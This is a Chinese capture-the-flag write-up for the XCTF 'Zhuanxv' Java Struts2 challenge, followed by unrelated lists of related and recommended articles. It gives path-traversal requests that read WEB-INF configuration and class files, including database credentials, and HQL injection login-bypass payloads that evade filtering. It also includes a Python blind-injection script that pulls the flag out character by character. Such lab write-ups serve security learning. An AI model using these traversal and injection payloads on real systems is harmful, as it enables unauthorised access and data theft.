【XCTF】Zhuanxv

收获

  • java题的一般流程

  • HQL注入

  • SQL注入

看题

  • 目录扫描

    dirsearch扫目录,发现list目录:

    一个登录界面,本着尽量不写sql注入题目的原则(因为太菜了这方面,抓包查看代码:

    js代码中为了加载图片直接写出了后台存储图像路径,那试试能不能通过这个url和参数直接读取源码。

  • 读源码

    先查看web.xml文件:

    http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/web.xml

    直接得到bg.jpg文件,更改其后缀为xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app id="WebApp_9" version="2.4"
    xmlns="http://java.sun.com/xml/ns/j2ee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
    <display-name>Struts Blank</display-name>
    <filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
    <welcome-file>/ctfpage/index.jsp</welcome-file>
    </welcome-file-list>
    <error-page>
    <error-code>404</error-code>
    <location>/ctfpage/404.html</location>
    </error-page>
    </web-app>

    这里可以看到是一个struts2框架,于是我们找一下strust.xml:

    http://61.147.171.105:54826/loadimage?fileName=../../WEB-INF/classes/strust.xml

    得到:

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
    "http://struts.apache.org/dtds/struts-2.3.dtd">
    <struts>
    <constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
    <global-exception-mappings>
    <exception-mapping exception="java.lang.Exception" result="error"/>
    </global-exception-mappings>
    <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
    <result name="error">/ctfpage/login.jsp</result>
    <result name="success">/ctfpage/welcome.jsp</result>
    </action>
    <action name="loadimage" class="com.cuitctf.action.DownloadAction">
    <result name="success" type="stream">
    <param name="contentType">image/jpeg</param>
    <param name="contentDisposition">attachment;filename="bg.jpg"</param>
    <param name="inputName">downloadFile</param>
    </result>
    <result name="suffix_error">/ctfpage/welcome.jsp</result>
    </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
    <interceptors>
    <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
    <interceptor-stack name="userAuth">
    <interceptor-ref name="defaultStack" />
    <interceptor-ref name="oa" />
    </interceptor-stack> </interceptors>
    <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
    <interceptor-ref name="userAuth">
    <param name="excludeMethods">
    execute
    </param>
    </interceptor-ref>
    <result name="login_error">/ctfpage/login.jsp</result>
    <result name="list_error">/ctfpage/welcome.jsp</result>
    <result name="success">/ctfpage/welcome.jsp</result>
    </action>
    </package>
    </struts>

    为了登录,先查看com.cuitctf.action.UserLoginAction,其中因为.java文件在被编译后会成为.class文件,所以payload:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class

    看完之后发现也没有什么线索,这里引用了com.cuitctf.util.InitApplicationContext继续看一下:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class

    反编译成Java文件后发现引用了applicationContext.xml,继续查看:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml

    源码:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
    <property name="driverClassName">
    <value>com.mysql.jdbc.Driver</value>
    </property>
    <property name="url">
    <value>jdbc:mysql://localhost:3306/sctf</value>
    </property>
    <property name="username" value="root"/>
    <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
    <property name="dataSource">
    <ref bean="dataSource"/>
    </property>
    <property name="mappingLocations">
    <value>user.hbm.xml</value>
    </property>
    <property name="hibernateProperties">
    <props>
    <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
    <prop key="hibernate.show_sql">true</prop>
    </props>
    </property>
    </bean>
    <bean id="hibernateTemplate"class="org.springframework.orm.hibernate3.HibernateTemplate">
    <property name="sessionFactory">
    <ref bean="sessionFactory"/>
    </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
    <property name="sessionFactory">
    <ref bean="sessionFactory"/>
    </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
    <property name="transactionManager">
    <ref bean="transactionManager"/>
    </property>
    <property name="transactionAttributes">
    <props>
    <prop key="add">PROPAGATION_REQUIRED</prop>
    <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
    </props>
    </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
    <property name="hibernateTemplate">
    <ref bean="hibernateTemplate"/>
    </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
    <property name="userDao">
    <ref bean="userDAO"/>
    </property>
    </bean>
    </beans>

    可以看到,这里是连接数据库的关键代码。看一下这些class文件:

    http://61.147.171.105:57101/loadimage?fileName=../../WEB-INF/user.hbm.xml

    user.hbm.xml源码:

    <?xml version="1.0"?>
    <!DOCTYPE hibernate-mapping PUBLIC
    "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
    "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
    <hibernate-mapping package="com.cuitctf.po">
    <class name="User" table="hlj_members">
    <id name="id" column="user_id">
    <generator class="identity"/>
    </id>
    <property name="name"/>
    <property name="password"/>
    </class>
    <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
    <id name="flag" column="welcometoourctf">
    <generator class="identity"/>
    </id>
    <property name="flag"/>
    </class>
    </hibernate-mapping>

    UserDaoImpl.class:

    package com.cuitctf.dao.impl;
    
    import com.cuitctf.dao.UserDao;
    import com.cuitctf.po.User;
    import java.util.List;
    import org.springframework.orm.hibernate3.support.HibernateDaoSupport; public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
    public UserDaoImpl() {
    } public List<User> findUserByName(String name) {
    return this.getHibernateTemplate().find("from User where name ='" + name + "'");
    } public List<User> loginCheck(String name, String password) {
    return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
    }
    }
  • 利用

    看了一眼wp,这里是一个HQL注入,其实和SQL注入类似,payload:

    from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'

    这里使用'1'>'0'的逻辑绕过万能密码。因为代码中过滤了空格和等号,所以需要用ascii码绕过,并且使用换行代替被过滤的空格。

    admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin

    登录时,password随便设,同时这里需要使用Get方法提交,直接在网页上输入是POST方法,网页没反应。

    虽然登录成功,但是没有FLAG,所以需要根据user.hbm.xml的提示信息进行sql注入。

  • 注入

    贴上大佬的盲注脚本:

    import requests
    
    s = requests.session()
    
    flag = ''
    for i in range(1, 50):
    p = ''
    for j in range(1, 255):
    # (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < '
    payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'" + str(j) + "'"
    # print payload
    url = "http://61.147.171.105:63105/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=1"
    r1 = s.get(url)
    if len(r1.text) > 20000 and p != '':
    flag += p
    print(i, flag)
    break
    p = chr(j)

参考文章

javaweb项目的文件结构

总结

跟着大佬博客开始学习到java安全相关的东西了。跟同龄大佬的差距真大....真是太低手了

一道入门的java安全题的更多相关文章

  1. 今天考试的JAVA编程题

    今天早上考了java, 题目感觉还不错, 共四道题,有一道定义类的没啥意思就没列出来. 这三道题目还是不错的,特别是第一道,大一上学期学linux的时候,那时还没学C语言呢,准确的来说,还不知道什么是 ...

  2. 一道很经典的 BFS 题

    一道很经典的 BFS 题 想认真的写篇题解. 题目来自:https://www.luogu.org/problemnew/show/P1126 题目描述 机器人移动学会(RMI)现在正尝试用机器人搬运 ...

  3. 牛客网Java刷题知识点之HashMap的实现原理、HashMap的存储结构、HashMap在JDK1.6、JDK1.7、JDK1.8之间的差异以及带来的性能影响

    不多说,直接上干货! 福利 => 每天都推送 欢迎大家,关注微信扫码并加入我的4个微信公众号:   大数据躺过的坑      Java从入门到架构师      人工智能躺过的坑          ...

  4. 牛客网Java刷题知识点之UDP协议是否支持HTTP和HTTPS协议?为什么?TCP协议支持吗?

    不多说,直接上干货! 福利 => 每天都推送 欢迎大家,关注微信扫码并加入我的4个微信公众号:   大数据躺过的坑      Java从入门到架构师      人工智能躺过的坑          ...

  5. 牛客网Java刷题知识点之TCP、UDP、TCP和UDP的区别、socket、TCP编程的客户端一般步骤、TCP编程的服务器端一般步骤、UDP编程的客户端一般步骤、UDP编程的服务器端一般步骤

    福利 => 每天都推送 欢迎大家,关注微信扫码并加入我的4个微信公众号:   大数据躺过的坑      Java从入门到架构师      人工智能躺过的坑         Java全栈大联盟   ...

  6. ACM_一道耗时间的水题

    一道耗时间的水题 Time Limit: 2000/1000ms (Java/Others) Problem Description: Do you know how to read the phon ...

  7. Thrift入门及Java实例演示<转载备用>

    Thrift入门及Java实例演示 作者: Michael 日期: 年 月 日 •概述 •下载配置 •基本概念 .数据类型 .服务端编码基本步骤 .客户端编码基本步骤 .数据传输协议 •实例演示(ja ...

  8. 学Android开发,入门语言java知识点

    学Android开发,入门语言java知识点 Android是一种以Linux为基础的开源码操作系统,主要使用于便携设备,而linux是用c语言和少量汇编语言写成的,如果你想研究Android,就去学 ...

  9. 50道经典的JAVA编程题(汇总)

    这是一次不可思议的编程历程.从2013年的最后一天开始做这份题,中间连续好几天的考试,包括java考试(今天考试的JAVA编程题),直到今天完成了.挺有成就感的...废话不多说了,来电实质性的吧. 全 ...

  10. 50道经典的JAVA编程题(46-50)

    50道经典的JAVA编程题(46-50),最后五道题了,这是一个美妙的过程,编程真的能让我忘掉一切投入其中,感觉很棒.今天下午考完微机原理了,大三上学期就这样度过了,这学期算是解放了,可是感觉我还是没 ...

随机推荐

  1. AVR汇编(三):寻址方式

    AVR汇编(三):寻址方式 AVR具有多种寻址方式,在介绍具体的汇编指令之前,有必要对它们做一定了解. 前面介绍过,AVR将内存空间分为多个部分:寄存器堆.I/O空间.数据空间.程序空间.这些空间支持 ...

  2. [ABC213E] Stronger Takahashi

    2023-01-17 题目 题目传送门 翻译 难度&重要性(1~10):4 题目来源 AtCoder 题目算法 bfs 解题思路 首先,这道题的问题是从家到鱼市摧毁障碍物的最少次数.我们很容易 ...

  3. 【Windows】KMS 激活命令记录

    目录 KMS 服务器激活 Office.Visio 推荐使用 office tool plus 部署并配置 KMS 激活 什么是 KMS? KMS 正版与否的区别 总结 KMS 服务器激活 利用 KM ...

  4. vue3封装筛选项

    背景 项目开发中遇到筛选项,并且几个页面都有使用,依次写,太过于繁琐 筛选项解构如下 封装全局组件fjj-content <template> <div class="fj ...

  5. 一个 Java 接口快速开发框架:magic-api

    一.简介 magic-api是一个基于Java的接口快速开发框架,编写接口将通过magic-api提供的UI界面完成,自动映射为HTTP接口.无需定义Controller.Service.Dao.Ma ...

  6. 用一个示例来学习DockerFile

    在Docker的世界里,我们经常会听到Dockerfile这个词.那么,什么是Dockerfile?它如何工作?本文将简要介绍Dockerfile的基本概念,原理以及一些常用的Dockerfile命令 ...

  7. Ds100p -「数据结构百题」21~30

    21.P4172 [WC2006]水管局长 SC 省 MY 市有着庞大的地下水管网络,嘟嘟是 MY 市的水管局长(就是管水管的啦),嘟嘟作为水管局长的工作就是:每天供水公司可能要将一定量的水从 \(x ...

  8. 【matplotlib基础】--结合地图

    如果分析的数据与地域相关,那么,把分析结果结合地图一起展示的话,会让可视化的效果得到极大的提升. 比如,分析各省GDP数据,人口数据,用柱状图,饼图之类的虽然都可以展示分析结果,不过,如果能在全国的地 ...

  9. MySQL innoDB 间隙锁产生的死锁问题

    背景 线上经常偶发死锁问题,当时处理一张表,也没有联表处理,但是有两个mq入口,并且消息体存在一样的情况,频率还不是很低,这么一个背景,我非常容易怀疑到,两个消息同时近到这一个事务里面导致的,但是是偶 ...

  10. ElasticSearch系列——倒排索引、删除映射类型、打分机制、配置文件、常见错误

    文章目录 1 倒排索引 2 删除映射类型 一 前言 二 什么是映射类型? 三 为什么要删除映射类型? 四 映射类型的替代方法 4.1 将映射类型分开存储在索引中 4.2 自定义类型字段回到顶部 五 没 ...